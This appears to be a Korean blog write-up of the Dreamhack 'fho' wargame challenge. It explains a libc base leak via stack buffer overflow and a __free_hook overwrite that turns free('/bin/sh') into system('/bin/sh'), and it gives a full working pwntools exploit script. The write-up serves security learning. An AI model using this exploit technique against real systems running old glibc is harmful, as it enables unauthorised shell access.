[Dreamhack] fho
Dreamhack fho 문제를 분석하며 Hook Overwrite와 버퍼 오버플로를 이용한 익스플로잇 과정을 정리합니다.
오늘 내가 정리할 문제는 Dreamhack에서 풀 수 있는 워게임 중 하나인 fho 문제이다. 문제 링크는 여기 있다. 이 문제는 PIE와 RELRO가 적용되는 상황을 실습하는 문제이다. RELRO가 Full로 적용되는 시점에 GOT 또한 Write 권한이 없어진다. Lazy Binding이 아니라 바로 바인딩되면서 GOT의 Write 권한이 없어지는 것이다. 그렇다면, NX가 켜져 있어서 Stack의 실행 권한이 없고, GOT의 Write 권한이 없는 시점에 어떻게 쉘을 획득할 수 있을까? 여기서, glibc 2.34 미만 버전에 존재했던 Hook을 사용할 수 있다. 최신 리눅스 버전에서는 사용하기가 좀 힘든 기법이기는 하나, 이 문제는 이 Hook에 대한 Overwrite로 쉘을 획득하는 과정을 실습하게 해준다.
문제 분석 및 환경 세팅
먼저 문제를 다운받으면, Dockerfile, fho, fho.c, flag, libc-2.27.so 이렇게 있다. Hook Overwrite를 쓰기 위해서는 glibc 2.34 미만의 버전만 가능하다. 그래서 이 문제를 풀기 위해서는 Dockerfile로 동일한 ubuntu 환경을 구성하여 문제를 해결해야한다.
1
$ file ./fho
위 커맨드를 실행하니 아래와 같이 결과가 나왔다.
1
./fho: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54629e974f6eabe20cc6029d133b456ea4b67f12, not stripped
보아하니, 64비트 x86-64 운영체제에 Little Endian, 그리고 dynamically linked가 켜져 있어서 현재 내가 실행하는 환경의 libc를 참고한다. 따라서, 지금 내 환경은 ubuntu 24.04라서, glibc가 2.39 버전을 사용한다. 따라서 이 문제에 대한 정확한 디버깅과 해답을 찾을 수 없다.
따라서, Dockerfile.debug를 만들어서 동일 환경을 재현한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
FROM ubuntu:18.04@sha256:ceed028aae0eac7db9dd33bd89c14d5a9991d73443b0de24ba0db250f47491d2
ENV user=fho
ENV chall_port=7182
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
RUN apt-get update
RUN apt-get -y install socat \
gdb \
git \
python3 \
python3-pip \
python3-dev \
libssl-dev \
libffi-dev \
build-essential \
curl \
file \
nano \
&& rm -rf /var/lib/apt/lists/*
RUN pip3 install --no-cache-dir --upgrade pip setuptools wheel
RUN pip3 install --no-cache-dir "pwntools<4.13.0"
RUN adduser $user
WORKDIR /home/$user
ADD $user /home/$user/$user
ADD flag /home/$user/flag
RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
기존에 주는 Dockerfile에서 install할 패키지들을 추가로 넣었다. python3과 gdb, 그리고 pip3 install로 pwntools를 설치해서 내부 환경에서 exploit할 파이썬 코드를 실행할 수 있게 했다. 동일 환경에서 디버깅을 명확하게 하기 위해 추가했다.
이렇게 Dockerfile.debug를 두고, 아래 커맨드로 도커 이미지를 빌드하고, run 커맨드로 접속했다.
1
2
$ docker build -f Dockerfile.debug -t my_chall .
$ docker run --rm -it my_chall /bin/bash
그리고, checksec으로 현재 어떤 보호기법들이 있는지를 보고 코드 분석으로 넘어가자.
1
2
3
4
5
6
7
8
$ checksec ./fho
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# Stripped: No
보아하니 Full RELRO라서 init_array, fini_array 및 GOT의 write 권한이 없으며, Canary가 있어서 실행이 끝나는 시점에 BOF를 막는다. 그리고 NX가 켜져 있어 Stack 영역의 실행 권한이 없어졌고, PIE 및 ASLR이 켜져있어서 코드 베이스 주소 및 스택, 힙, libc 영역의 base 주소가 모두 실행 때 마다 달라진다.
코드 분석 & exploit 전략
코드는 사실, 실습 문제라 그런지 어떻게 해야하는 지를 단계별로 알려준다.
1
2
3
4
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
먼저, BOF를 통해서 libc의 base 주소를 찾을 수 있게 도와준다. Hook의 경우, free, malloc, realloc 등의 함수에 있으며, 이는 원래는 디버깅용으로 있었던 포인터변수이다. free를 예시로 들면, free에는 __free_hook 이라는 포인터변수가 NULL이 아니라면 해당 주소로 jmp 시킨다. 이건 실행 흐름을 제어한다는 뜻이다. hook을 실행하고 원래대로 free를 한다는 말이 아니라, free에서 __free_hook에 NULL이 아닌 값이 있으면 free 하려던 것을 멈추고 hook 포인터 변수에 들어있는 주소에 해당하는 함수를 실행시킨다는 것이다. 그리고 hook 포인터 변수의 경우, libc의 .bss, .data 섹션에 위치한다. 그래서 해당 영역은 write가 가능하다. 이 특성 때문에, glibc 2.34 미만의 리눅스 버전에서는 이 영역이 굉장히 큰 취약점이 되었다.
아무튼, libc에 해당 포인터변수들이 존재하므로, libc의 base를 leak 해야한다. 해당 영역을 BOF를 통해서 할 수 있게 도와주는 코드가 있다.
1
2
3
4
5
6
7
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
두 번째로는 특정 주소의 값을 덮어쓰기 하는 코드이다. Hook의 주소를 libc offset을 이용해서 계산하고, 해당 주소에다가 system 함수의 주소를 넣는 식으로 하면 hook의 값이 NULL이 아니게 되므로 해당 Hook을 가진 함수가 실행될 때 system 함수가 실행되게 실행 흐름을 제어할 수 있다.
1
2
3
4
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
마지막으로, free를 시키는 코드가 있는데, 포인터변수를 인자로 담아준다. 여기서, hook의 경우 본 함수의 인자를 그대로 받아서 사용한다. 따라서, free의 hook 포인터변수인 __free_hook 을 system 함수의 주소로 바꾸고, 원래 free 함수 호출 시 인자로 “/bin/sh”를 넣어주면, free(“/bin/sh”) => system(“/bin/sh”) 로 만들 수 있다. 따라서, 쉘을 획득할 수 있다.
exploit
우리는 libc base 주소를 먼저 구해야한다. 우리가 가진 도구는 BOF와 printf로 buf를 출력하는 것이다. 이를 통해서 널 바이트를 없애버리면 printf가 뒷 스택 영역까지 읽어버리게 함으로써 특정 8바이트 값을 읽어낼 수 있다. 우리가 읽을 수 있는 것 중 특별한 값은 SFP와 RIP이다. 여기서, RIP에 집중해보자.
RIP의 경우, 함수가 끝나고 돌아갈 주소가 담겨져 있다. 그러면 main의 경우, 어디로 돌아가는가? glibc 2.27 기준, main 함수 스택프레임의 경우 libc에서 __libc_start_main 이라는 함수의 호출로 인해 생성된다. 따라서, gdb를 통해서 main이 돌아갈 주소가 __libc_start_main에서 얼마나 떨어진 곳인지를 디버깅해보자.
gdb 디버깅
gdb를 통해 fho 디버깅을 한다. 우리가 알고 싶은건, main의 rip 주소가 대체 어디이며, 그곳은 __libc_start_main에서 얼마나 떨어진 곳인지를 알아야 한다. rip 주소를 알면, 이 주소의 symbol info를 디버깅해서 알아내면 오프셋을 알아낼 수 있다.
먼저 main에다가 breakpoint를 걸고, run을 시킨다. 그렇게 되면 main이 딱 실행되기 직전에 멈추는데, 함수 호출 규약을 보면, 아래와 같이 동작한다.
call main 을 했다고 가정하자. 그렇다면, 이는 RIP를 stack에 push하고, 그 다음에 실행할 함수로 jump를 시킨다. 그리고 나서, 프롤로그가 진행되면서 SFP가 생긴다. gdb의 breakpoint는 call main을 한 직후이다. 따라서, RIP가 push 되고, main으로 jump가 딱 되고, 프롤로그가 실행되기 직전에 break를 하는 것이다. 따라서, b *main 을 통해서 main 주소에다가 breakpoint를 해두면, 지금 이 상태에서의 rsp는 정확히 RIP 이다. 따라서, 우리는 아래의 gdb 명령어로 __libc_start_main과 RIP 사이의 오프셋을 계산할 수 있다.
1
2
3
(gdb) info symbol *(long*)$rsp
result: __libc_start_main + 231 in section .text of /lib/x86_64-linux-gnu/libc.so.6
이를 보니, main의 RIP는 __libc_start_main base에서 231만큼 떨어진 곳에 위치한다는 것을 알아냈다. 즉, main이 끝나고 돌아갈 주소는 __libc_start_main 에서 231만큼 떨어진 주소라는 것이다. 자 그러면 오프셋을 알았으니, libc base를 leak 하러 가보자.
libc base leak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Leak Libc Base
buf = b"A"*0x48 # go RIP
r.sendafter(b"Buf: ", buf)
r.recvuntil(buf)
remote_libc_start_main = u64(r.recvline()[:-1] + b"\x00"*2) # RIP에 적힌 main이 끝나면 돌아갈 주소
# gdb로 분석 결과, RIP에 쓰여진 것은 __libc_start_main 주소에 231을 더한 값이었다.
local_libc_start_main = libc.symbols["__libc_start_main"] + 231 # libc_start_main의 주소 + 231
# libc_start_main + 231 주소가 offset
# 따라서, libc base는 아래와 같음.
libc_base = remote_libc_start_main - local_libc_start_main
# 이거 또는 더 쉽게, local_libc_start_main = libc.libc_start_main_return 도 된다고 한다.
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
먼저, buf를 채워넣어서 RIP 직전까지 더미로 채워넣어서 널 바이트를 없애고, 실행 프로그램의 RIP를 leak 한다. 그리고 leak 한 RIP 내부 값은 실행되는 프로그램에서의 __libc_start_main + 231 주소이다. 이는 PIE, ASLR 때문에 libc base가 계속 바뀐다. 따라서, 현재 사용 중인 libc를 기준으로 __libc_start_main + 231을 구하고, 이를 빼서 사용 중인 libc 라이브러리 기점으로 얼마만큼의 base offset이 있는지를 알아낼 수 있다.
그리고, system의 주소, __free_hook 포인터변수의 주소, /bin/sh 문자열의 주소를 모두 libc 라이브러리에서 찾아서 libc 라이브러리 base 기준으로 오프셋이 얼마인지를 찾고, 이를 현재 실행 프로그램의 libc base와 더해서 현재 실행 프로그램에서 system 함수, __free_hook 포인터변수, “/bin/sh” 문자열이 어느 주소에 있는지를 모두 계산한다.
Hook Overwrite
1
2
3
4
5
6
# write free hook to system
r.sendlineafter(b"To write: ", str(free_hook).encode())
r.sendlineafter(b"With: ", str(system).encode())
# Exploit
r.sendlineafter(b"To free: ", str(binsh).encode())
이제 거의 끝났다. 아까 세운 exploit 전략처럼, __free_hook의 주소를 system 함수의 주소로 변경하고, 인자로 “/bin/sh” 문자열이 있는 주소를 적어서 주면, 쉘을 획득해낼 수 있다.
전체 코드는 아래와 같다. 코드는 정확하게 동일한 환경에서 exploit을 하기 위해 아까 만든 Docker container에서 nano를 통해 exp.py를 만들고, 이를 실행해서 내부 flag가 읽히는 것을 확인했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
r = process("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./fho")
def slog(name, addr):
success(": ".join([name, hex(addr)]))
# Leak Libc Base
buf = b"A"*0x48 # go RIP
r.sendafter(b"Buf: ", buf)
r.recvuntil(buf)
remote_libc_start_main = u64(r.recvline()[:-1] + b"\x00"*2) # RIP에 적힌 main이 끝나면 돌아갈 주소
# gdb로 분석 결과, RIP에 쓰여진 것은 __libc_start_main 주소에 231을 더한 값이었다.
local_libc_start_main = libc.symbols["__libc_start_main"] + 231 # libc_start_main의 주소 + 231
# libc_start_main + 231 주소가 offset
# 따라서, libc base는 아래와 같음.
libc_base = remote_libc_start_main - local_libc_start_main
# 이거 또는 더 쉽게, local_libc_start_main = libc.libc_start_main_return 도 된다고 한다.
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("binsh", binsh)
# write free hook to system
r.sendlineafter(b"To write: ", str(free_hook).encode())
r.sendlineafter(b"With: ", str(system).encode())
# Exploit
r.sendlineafter(b"To free: ", str(binsh).encode())
r.interactive()
Dreamhack 문제를 풀 때에는 정확히 process를 remote로만 바꾸고, HOST, PORT를 입력해서 풀어주었다. 쉘을 탈취하고 ls 및 cat flag를 통해서 flag를 탈취할 수 있었다.
![[Dreamhack] fho](/assets/img/posts/preview/hack/pwn/pwn1.webp)